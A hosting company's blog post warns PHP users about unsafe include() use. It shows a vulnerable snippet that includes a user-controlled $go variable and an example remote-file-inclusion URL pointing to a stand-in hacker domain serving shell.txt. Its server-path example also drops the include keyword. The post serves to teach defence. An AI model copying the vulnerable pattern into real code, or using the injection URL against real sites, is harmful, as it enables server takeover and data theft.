Jun

PHP Security and YOU – Including files the right way

Published by Laurence (aka NexDog) in Web Development.

As a web host we fight the battle against hackers and bad code on a daily basis. So HostNexus is looking to encourage clients to use file inclusion within PHP in a more security conscious and safe manner.

Including files with PHP is a common practice and most usage comes in 2 forms. These are including internal files from your own domain and including files from remote (external) sources. This looks something like:

Internal:

< ?php
   include("http://www.myowndomain.com/something.txt");
?>

External:

< ?php
   include("http://www.externaldomain.com/something.txt");
?>

Both are valid syntax in the PHP world but there are two main problems we see on the servers. Sometimes when you include a file using the the URL of your local domain you can cause a PHP loop that initiates endless HTTP requests which causes server load issues and even a server crash due to the load. If you want to include files from your local domain you just need to use the server path instead:

< ?php
   ('/home/httpd/vhosts/myowndomain.com/httpdocs/something.txt');
?>

And now onto using include() for calling external files:

< ?php
   include("http://www.externaldomain.com/something.txt");
?>

The main problem with include() is that runs everything through the PHP parser and evaluates code. The main problem comes from setting a variable for include() which can be easily exploited. Here is an example of code in an index.php:

< ?php
    echo "<html>\n";
    echo "  <body>\n";
    include("$go");
    echo "  </body>\n";
    echo "\n";
?>

The $go variable above is easily exploited like:

http://myowndomain.com/index.php?go=http://www.hackerdomain.com/shell.txt

The hacker can now execute commands on your files, installing phishing sites, sending spam and stealing data.

If you want to include files from remote domains use PHP’s readfile() function instead:

http://www.php.net/manual/en/function.readfile.php

While not 100% secure it still provides more protection as readfile() simply outputs data to a browser rather than parsing everything as PHP.

We’d love to enforce the two practices above but we also understand not everyone is happy modifying code. However, if you know you use includes and have even a simple understanding of these fuctions then please do revisit your code and help yourself to secure your data and server.

Laurence

Tags: php, security | 2 Comments

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PHP Security and YOU – Including files the right way